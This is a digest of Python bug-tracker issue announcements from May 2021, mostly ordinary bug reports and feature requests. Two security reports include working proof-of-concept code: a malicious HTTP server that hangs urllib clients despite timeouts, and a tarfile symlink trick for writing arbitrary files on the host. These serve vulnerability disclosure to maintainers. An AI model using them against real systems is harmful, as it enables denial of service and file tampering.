  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
/root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
/root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop
  f = asyncio.ensure_future(coro)
0:00:00 load avg: 0.91 [2/2] test_unittest
/root/cpython/Lib/unittest/test/testmock/testasync.py:177: DeprecationWarning: There is no current event loop
  fut = asyncio.Future()

== Tests result: SUCCESS ==

All 2 tests OK.

Total duration: 6.5 sec
Tests result: SUCCESS

----------
components: Tests, asyncio
messages: 392780
nosy: asvetlov, serhiy.storchaka, vstinner, xtreak, yselivanov
priority: normal
severity: normal
status: open
title: Deprecation warning in tests over no current event loop
type: behavior
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44017>
_______________________________________

From report at bugs.python.org  Mon May  3 05:13:38 2021
From: report at bugs.python.org (Eugene Rossokha)
Date: Mon, 03 May 2021 09:13:38 +0000
Subject: [New-bugs-announce] [issue44018] Bug in random.seed
Message-ID: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org>


New submission from Eugene Rossokha <arjaz at protonmail.com>:

https://github.com/python/cpython/blob/master/Lib/random.py#L157
If bytearray is passed as a seed, the function will change it.
It either has to be documented, or the implementation should change.

----------
components: Library (Lib)
messages: 392782
nosy: arjaz
priority: normal
severity: normal
status: open
title: Bug in random.seed
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44018>
_______________________________________

From report at bugs.python.org  Mon May  3 10:24:00 2021
From: report at bugs.python.org (Antony Lee)
Date: Mon, 03 May 2021 14:24:00 +0000
Subject: [New-bugs-announce] [issue44019] operator.call/operator.__call__
Message-ID: <1620051840.28.0.198895693226.issue44019@roundup.psfhosted.org>


New submission from Antony Lee <anntzer.lee at gmail.com>:

Adding a call/__call__ function to the operator module (where `operator.call(*args, **kwargs)(func) == func(*args, **kwargs)`, similarly to operator.methodcaller) seems consistent with the design with the rest of the operator module.

An actual use case I had for such an operator was collecting a bunch of callables in a list and wanting to dispatch them to concurrent.futures.Executor.map, i.e. something like `executor.map(operator.call, funcs)` (to get the parallelized version of `[func() for func in funcs]`).

----------
components: Library (Lib)
messages: 392809
nosy: Antony.Lee
priority: normal
severity: normal
status: open
title: operator.call/operator.__call__
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44019>
_______________________________________

From report at bugs.python.org  Mon May  3 12:59:08 2021
From: report at bugs.python.org (PAKKURTHI MOHAN SAI KRISHNA)
Date: Mon, 03 May 2021 16:59:08 +0000
Subject: [New-bugs-announce] [issue44020] test_ssl fails in the macos CI
Message-ID: <1620061148.31.0.632922857911.issue44020@roundup.psfhosted.org>


Change by PAKKURTHI MOHAN SAI KRISHNA <rk9874241 at gmail.com>:


----------
components: macOS
nosy: christian.heimes, mohansai, ned.deily, pablogsal, ronaldoussoren
priority: normal
severity: normal
status: open
title: test_ssl fails in the macos CI
type: behavior
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44020>
_______________________________________

From report at bugs.python.org  Mon May  3 13:01:50 2021
From: report at bugs.python.org (Akuli)
Date: Mon, 03 May 2021 17:01:50 +0000
Subject: [New-bugs-announce] [issue44021] enum docs in 3.10: missing "New in
 version 3.10"
Message-ID: <1620061310.33.0.417307154236.issue44021@roundup.psfhosted.org>


New submission from Akuli <akuviljanen17 at gmail.com>:

https://docs.python.org/3.10/library/enum.html says "New in version 3.10: StrEnum". That's true, but these are also new in 3.10:
- property (I mean enum.property, not the built-in property)
- global_enum
- FlagBoundary
- StrEnum
- EnumType  (does this even exist? I compiled the latest python today and I don't have this)

----------
assignee: docs at python
components: Documentation
messages: 392824
nosy: Akuli, docs at python
priority: normal
severity: normal
status: open
title: enum docs in 3.10:  missing "New in version 3.10"
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44021>
_______________________________________

From report at bugs.python.org  Mon May  3 13:13:03 2021
From: report at bugs.python.org (guangli dong)
Date: Mon, 03 May 2021 17:13:03 +0000
Subject: [New-bugs-announce] [issue44022] "urllib" will result to deny of
 service
Message-ID: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org>


New submission from guangli dong <leveryd at gmail.com>:

if a client request a http/https/ftp service which is controlled by attacker, attacker can make this client hang forever, event client has set "timeout" argument.

maybe this client also will consume more and more memory. i does not test on this conclusion.

client.py
```
import urllib.request

req = urllib.request.Request('http://127.0.0.1:8085')
response = urllib.request.urlopen(req, timeout=1)
```

evil_server.py
```
# coding:utf-8
from socket import *
from multiprocessing import *
from time import sleep

def dealWithClient(newSocket,destAddr):
    recvData = newSocket.recv(1024)
    newSocket.send(b"""HTTP/1.1 100 OK\n""")

    while True:
        # recvData = newSocket.recv(1024)
        newSocket.send(b"""x:a\n""")

        if len(recvData)>0:
            # print('recv[%s]:%s'%(str(destAddr), recvData))
            pass
        else:
            print('[%s]close'%str(destAddr))
            sleep(10)
            print('over')
            break

    # newSocket.close()


def main():

    serSocket = socket(AF_INET, SOCK_STREAM)
    serSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR  , 1)
    localAddr = ('', 8085)
    serSocket.bind(localAddr)
    serSocket.listen(5)

    try:
        while True:
            newSocket,destAddr = serSocket.accept()

            client = Process(target=dealWithClient, args=(newSocket,destAddr))
            client.start()

            newSocket.close()
    finally:
        serSocket.close()

if __name__ == '__main__':
    main()
```

----------
components: Library (Lib)
messages: 392825
nosy: leveryd
priority: normal
severity: normal
status: open
title: "urllib" will result to deny of service
type: security
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44022>
_______________________________________

From report at bugs.python.org  Mon May  3 13:44:03 2021
From: report at bugs.python.org (guangli dong)
Date: Mon, 03 May 2021 17:44:03 +0000
Subject: [New-bugs-announce] [issue44023] "tarfile" library will lead to
 "write any content to any file on the host".
Message-ID: <1620063843.8.0.514260137969.issue44023@roundup.psfhosted.org>


New submission from guangli dong <leveryd at gmail.com>:

if uncompress file twice to the same dir, attacker can "write any content to any file on the host"".

poc code like below:
```
import tarfile


dir_name = "/tmp/anything"
file1_name = "/tmp/a.tar.gz"  # ln -sv /tmp/a test_tar/a;tar -cvf a.tar.gz test_tar/a
file2_name = "/tmp/b.tar.gz"  # echo "it is just poc" > /tmp/payload; rm -rf test_tar; cp /tmp/payload test_tar/a;tar -cvf b.tar.gz test_tar/a


def vuln_tar(tar_path):
	"""
	:param tar_path:
	:return:
	"""
	import tarfile
	tar = tarfile.open(tar_path, "r:tar")
	file_names = tar.getnames()
	for file_name in file_names:
	    tar.extract(file_name, dir_name)
	tar.close()


vuln_tar(file1_name)
vuln_tar(file2_name)
```

in this poc code, if one service uncompress tar file which is uploaded by attacker to "dir_name" twice, attacker can create "/tmp/a" and write "it is just poc" string into "/tmp/a" file.

----------
components: Library (Lib)
files: poc.tar.gz
messages: 392827
nosy: leveryd
priority: normal
severity: normal
status: open
title: "tarfile" library will lead to "write any content to any file on the host".
type: security
versions: Python 3.7
Added file: https://bugs.python.org/file50005/poc.tar.gz

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44023>
_______________________________________

From report at bugs.python.org  Mon May  3 18:50:44 2021
From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=)
Date: Mon, 03 May 2021 22:50:44 +0000
Subject: [New-bugs-announce] [issue44024] Use common TypeError message for
 built-in functions getattr and hasattr
Message-ID: <1620082244.42.0.641033791104.issue44024@roundup.psfhosted.org>


New submission from G?ry <gery.ogam at gmail.com>:

Problem
-------

Actual behaviour:

```python
>>> getattr('foobar', 123)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: getattr(): attribute name must be string
>>> hasattr('foobar', 123)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: hasattr(): attribute name must be string
```

Expected behaviour:

```python
>>> getattr('foobar', 123)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: attribute name must be string, not 'int'
>>> hasattr('foobar', 123)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: attribute name must be string, not 'int'
```

Motivation:

```python
>>> setattr('foobar', 123, 'baz')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: attribute name must be string, not 'int'
>>> delattr('foobar', 123)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: attribute name must be string, not 'int'
```

Solution
--------

In the function `builtin_getattr` defined in Python/bltinmodule.c, we remove the following lines:

```c
if (!PyUnicode_Check(name)) {
        PyErr_SetString(PyExc_TypeError,
                        "getattr(): attribute name must be string");
        return NULL;
    }
```

because the expected `TypeError` message is already implemented in the subsequent call to the functions `_PyObject_LookupAttr` and `PyObject_GetAttr` defined in Objects/object.c:

```c
PyObject *
PyObject_GetAttr(PyObject *v, PyObject *name)
{
    PyTypeObject *tp = Py_TYPE(v);
    if (!PyUnicode_Check(name)) {
        PyErr_Format(PyExc_TypeError,
                     "attribute name must be string, not '%.200s'",
                     Py_TYPE(name)->tp_name);
        return NULL;
    }

[?]

int
_PyObject_LookupAttr(PyObject *v, PyObject *name, PyObject **result)
{
    PyTypeObject *tp = Py_TYPE(v);

    if (!PyUnicode_Check(name)) {
        PyErr_Format(PyExc_TypeError,
                     "attribute name must be string, not '%.200s'",
                     Py_TYPE(name)->tp_name);
        *result = NULL;
        return -1;
    }

[?]
```

Likewise, in the function `builtin_hasattr_impl` defined in Python/bltinmodule.c, we remove the following lines:

```c
if (!PyUnicode_Check(name)) {
        PyErr_SetString(PyExc_TypeError,
                        "hasattr(): attribute name must be string");
        return NULL;
    }
```

because the expected `TypeError` message is already implemented in the subsequent call to the function `_PyObject_LookupAttr` defined in Objects/object.c.

----------
components: Interpreter Core
messages: 392843
nosy: maggyero
priority: normal
severity: normal
status: open
title: Use common TypeError message for built-in functions getattr and hasattr
type: behavior
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44024>
_______________________________________

From report at bugs.python.org  Mon May  3 22:04:38 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 04 May 2021 02:04:38 +0000
Subject: [New-bugs-announce] [issue44025] Match doc: Clarify '_' as a soft
 keyword
Message-ID: <1620093878.28.0.805814541074.issue44025@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

In #44010, we are trying, as best as is possible with comprehensible REs, to identify in which circumstances occurrences of 'match', 'case' and '_' are keywords, and should be marked as such.  I was initially unsure and even wrong about '_'.

1. Capture Patterns: I was confused by 'And is instead...'.  'It is instead ...', where 'it' refers to '_', is clearer to me.

2. Wildcard Patterns:  "'_' is a soft keyword" just says it sometimes is and sometimes is not, but not when, or rather, where.  After experiments like this (using the new IDLE 'copy with prompts' option ;-):

>>> _ = 'a'
>>> match [_, 'b']:
...     case [capture, _] if _ == 'a':
...         print(capture, _)
... 
a a

I added (in PR to come, with markup that might be improved)
"within any pattern, but only within patterns.  It is an identifier, as usual, even within ``match`` headers, ``guards``, and ``case blocks``.

Please consider also adding an example like the above.

----------
assignee: docs at python
components: Documentation
messages: 392848
nosy: brandtbucher, docs at python, gvanrossum, terry.reedy
priority: normal
severity: normal
stage: patch review
status: open
title: Match doc: Clarify '_' as a soft keyword
type: behavior
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44025>
_______________________________________

From report at bugs.python.org  Mon May  3 23:49:13 2021
From: report at bugs.python.org (Dennis Sweeney)
Date: Tue, 04 May 2021 03:49:13 +0000
Subject: [New-bugs-announce] [issue44026] IDLE doesn't offer "Did you mean?"
 for AttributeError and NameError
Message-ID: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org>


New submission from Dennis Sweeney <sweeney.dennis650 at gmail.com>:

After bpo-38530, I get this in the python shell:


Python 3.10.0b1 (tags/v3.10.0b1:ba42175, May  3 2021, 20:22:30) [MSC v.1928 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> class A:
...     foobar = 1
...
>>> A.foocar
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: type object 'A' has no attribute 'foocar'. Did you mean: 'foobar'?
>>>


But I get this in IDLE:

Python 3.10.0b1 (tags/v3.10.0b1:ba42175, May  3 2021, 20:22:30) [MSC v.1928 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license()" for more information.
class A:
    foobar = 1

    
A.foocar
Traceback (most recent call last):
  File "<pyshell#3>", line 1, in <module>
    A.foocar
AttributeError: type object 'A' has no attribute 'foocar'



Can we extend this functionality to IDLE, and fix the discrepancy?

----------
assignee: terry.reedy
components: IDLE
messages: 392850
nosy: Dennis Sweeney, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE doesn't offer "Did you mean?" for AttributeError and NameError
type: enhancement
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44026>
_______________________________________

From report at bugs.python.org  Tue May  4 00:30:58 2021
From: report at bugs.python.org (BinToss)
Date: Tue, 04 May 2021 04:30:58 +0000
Subject: [New-bugs-announce] [issue44027] Python 3.9 UWP does not create key
 in PythonCore
Message-ID: <1620102658.85.0.0860140751031.issue44027@roundup.psfhosted.org>


New submission from BinToss <noahrsherwin at gmail.com>:

On Windows, dependent applications such as VapourSynth look for Python's path via the entries in HKLM\\SOFTWARE\\Python\\PythonCore\\.
However, the Python 3.8 and 3.9 UWP releases don't create and write to their respective subkeys. Only the Win32 releases write to their subkeys.

See https://github.com/vapoursynth/vapoursynth/issues/684

----------
components: Installation
messages: 392851
nosy: BinToss
priority: normal
severity: normal
status: open
title: Python 3.9 UWP does not create key in PythonCore
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44027>
_______________________________________

From report at bugs.python.org  Tue May  4 01:05:16 2021
From: report at bugs.python.org (wang xuancong)
Date: Tue, 04 May 2021 05:05:16 +0000
Subject: [New-bugs-announce] [issue44028] Request for locals().update() to
 work, it is
Message-ID: <1620104716.88.0.704120170613.issue44028@roundup.psfhosted.org>


New submission from wang xuancong <xuancong84 at gmail.com>:

In general, the ability to update local variables is very important and it simplifies life tremendously. For example, in machine learning, it allows saving/loading arbitrary-format datasets and arbitrary-structure neural networks (NN) using a single line of code. In computer games, no matter how many complex data structures are there, saving and loading can be done in a single line.

Imagine you are game developer or a deep neural network (DNN) researcher, if all local variables are serializable, then no matter how complicated your game or your DNN structure is, saving the entire game or DNN (to STDOUT) can be simply put into one line as `print(locals())`, and loading the entire game or DNN (from STDIN) can be simply put into one line as `locals().update(eval(sys.stdin.read()))`.

Currently, `globals().update(...)` takes immediate effect but `locals().update(...)` does not work because Python documentation says:

> The default locals act as described for function locals() below:
> modifications to the default locals dictionary should not be
> attempted. Pass an explicit locals dictionary if you need to see
> effects of the code on locals after function exec() returns.

Why they design Python in such way is because of optimization and conforming the `exec` statement into a function:

> To modify the locals of a function on the fly is not possible without
> several consequences: normally, function locals are not stored in a
> dictionary, but an array, whose indices are determined at compile time
> from the known locales. This collides at least with new locals added
> by exec. The old exec statement circumvented this, because the
> compiler knew that if an exec without globals/locals args occurred in
> a function, that namespace would be "unoptimized", i.e. not using the
> locals array. Since exec() is now a normal function, the compiler does
> not know what "exec" may be bound to, and therefore can not treat is
> specially.

Since `global().update(...)` works, the following piece of code will work in root namespace (i.e., outside any function) because locals() is the same as globals() in root namespace:
```
locals().update({'a':3, 'b':4})
print(a, b)
```
But this will not work inside a function.

I have explored a few ways of hacking updating locals() on Python 3, it seems there is no way so far. The following piece of code seems to works:
```
def f1():
  sys._getframe(1).f_locals.update({'a':3, 'b':4})
  print(a, b)

f1()
```
However, that is because `sys._getframe(1)` is the root namespace, so `sys._getframe(1).f_locals.update()` is essentially `globals().update()`.

>From the above Python developer documentation, I understand that in Python 2, local namespace lookup has 2 modes: optimized mode if there is no `exec` statement, un-optimized mode if there exists an `exec` statement. But in Python 3, `exec` becomes a function, so the compiler cannot determine which namespace optimization mode at compile time (because `exec` can be overridden or aliased into a different name). Therefore, Python 3 has only optimized namespace lookup. My suggestion is that whenever this optimized local namespace lookup fails, perform an un-optimized lookup (which will include locals()). This should solve the problem.

Do you have any other ideas or suggestions for doing this? Thanks!

----------
components: Interpreter Core
messages: 392852
nosy: xuancong84
priority: normal
severity: normal
status: open
title: Request for locals().update() to work, it is
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44028>
_______________________________________

From report at bugs.python.org  Tue May  4 04:40:05 2021
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 04 May 2021 08:40:05 +0000
Subject: [New-bugs-announce] [issue44029] PEP 624: Remove Py_UNICODE APIs
Message-ID: <1620117605.85.0.144508372632.issue44029@roundup.psfhosted.org>


New submission from Inada Naoki <songofacandy at gmail.com>:

Ref: https://www.python.org/dev/peps/pep-0624/

----------
components: C API
messages: 392862
nosy: methane
priority: normal
severity: normal
status: open
title: PEP 624: Remove Py_UNICODE APIs
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44029>
_______________________________________

From report at bugs.python.org  Tue May  4 06:24:38 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 04 May 2021 10:24:38 +0000
Subject: [New-bugs-announce] [issue44030] Markup with_traceback code example
Message-ID: <1620123878.12.0.914520648709.issue44030@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

.../Doc/library/exceptions.rst, lines 99-105 has

      original ``SomeException`` had we allowed it to propagate to the caller.

         try:
             ...
         except SomeException:
             tb = sys.exc_info()[2]
             raise OtherException(...).with_traceback(tb)

The code example with no markup except indents does not work because without a new indent, the last line is merged with the preceding one as part of the same paragraph.

https://docs.python.org/3.10/library/exceptions.html#BaseException.with_traceback

        traceback of the original SomeException had we allowed it to propagate to the caller.

            try:

                ?
            except SomeException:

                tb = sys.exc_info()[2] raise OtherException(?).with_traceback(tb)

Note also the uneven line spacing, which is different for me here with Firefox that in the web page (also with Firefox).  Something different is needed, but I do not know what.

----------
assignee: docs at python
components: Documentation
messages: 392871
nosy: docs at python, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Markup with_traceback code example
type: behavior
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44030>
_______________________________________

From report at bugs.python.org  Tue May  4 07:50:28 2021
From: report at bugs.python.org (Alexei S)
Date: Tue, 04 May 2021 11:50:28 +0000
Subject: [New-bugs-announce] [issue44031] python3.8.9,
 python3.9.2 test_embed test_tabnanny failed
Message-ID: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org>


New submission from Alexei S <asholomitskiy84 at gmail.com>:

Python 3.9.2 make test
== Tests result: FAILURE then FAILURE ==

396 tests OK.

2 tests failed:
    test_embed test_tabnanny

27 tests skipped:
    test_bz2 test_curses test_dbm_gnu test_dbm_ndbm test_devpoll
    test_gdb test_idle test_ioctl test_kqueue test_lzma test_msilib
    test_ossaudiodev test_readline test_smtpnet test_ssl
    test_startfile test_tcl test_tix test_tk test_ttk_guionly
    test_ttk_textonly test_turtle test_winconsoleio test_winreg
    test_winsound test_zipfile64 test_zoneinfo

2 re-run tests:
    test_embed test_tabnanny

Total duration: 10 min 58 sec
Tests result: FAILURE then FAILURE
make: *** [Makefile:1199: test] Error 2

python 3.8.9 also show compile problems
my system: Linux Mint 20.1 Cinnamon (Cinnamon 4.8.6)
kernel 5.8.0-48-generic
$uname -a
Linux home 5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

I tried to execute problem code from tabnanny in PyCharm - that's ok
from test.support import (captured_stderr, captured_stdout, script_helper, findfile, unlink)


def validate_cmd(self, *args, stdout="", stderr="", partial=False):
    """Common function to assert the behaviour of command line interface."""
    _, out, err = script_helper.assert_python_ok('-m', 'tabnanny', *args)
    # Note: The `splitlines()` will solve the problem of CRLF(\r) added
    # by OS Windows.
    out = out.decode('ascii')
    err = err.decode('ascii')
    if partial:
        for std, output in ((stdout, out), (stderr, err)):
            _output = output.splitlines()
            for _std in std.splitlines():
                with self.subTest(std=_std, output=_output):
                    self.assertIn(_std, _output)
    else:
        self.assertListEqual(out.splitlines(), stdout.splitlines())
        self.assertListEqual(err.splitlines(), stderr.splitlines())

    def test_command_usage(self):
        path = findfile('~/????????/Python-3.8.9/Lib/test/tabnanny.py')
        stderr = f"Usage: {path} [-v] file_or_directory ..."

        self.validate_cmd(stderr=stderr)

----------
components: Tests
files: log_configure 3.9.2.log
messages: 392880
nosy: asholomitskiy84, terry.reedy, vstinner, wingarmac
priority: normal
severity: normal
status: open
title: python3.8.9, python3.9.2 test_embed test_tabnanny failed
type: compile error
versions: Python 3.8, Python 3.9
Added file: https://bugs.python.org/file50008/log_configure 3.9.2.log

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44031>
_______________________________________

From report at bugs.python.org  Tue May  4 10:54:31 2021
From: report at bugs.python.org (Mark Shannon)
Date: Tue, 04 May 2021 14:54:31 +0000
Subject: [New-bugs-announce] [issue44032] Store locals and evaluation stack
 should be stored in a contiguous, per-thread stack
Message-ID: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org>


New submission from Mark Shannon <mark at hotpy.org>:

Currently, the local variables (inc. cell and free vars) for functions and the evaluation stack are kept in per-activation chunks in the frame object. This is not a good design for modern hardware.
The local variables and stack are amongst the hottest memory in the VM and should be stored in a contiguous stack in memory.

Allocating a per-thread stack would improve memory locality considerably, and pave the way to allocating heap objects for function activations lazily, only when needed for debugging and introspection.

Generators would still need heap allocated locals and stack, but that would be no worse than currently.

----------
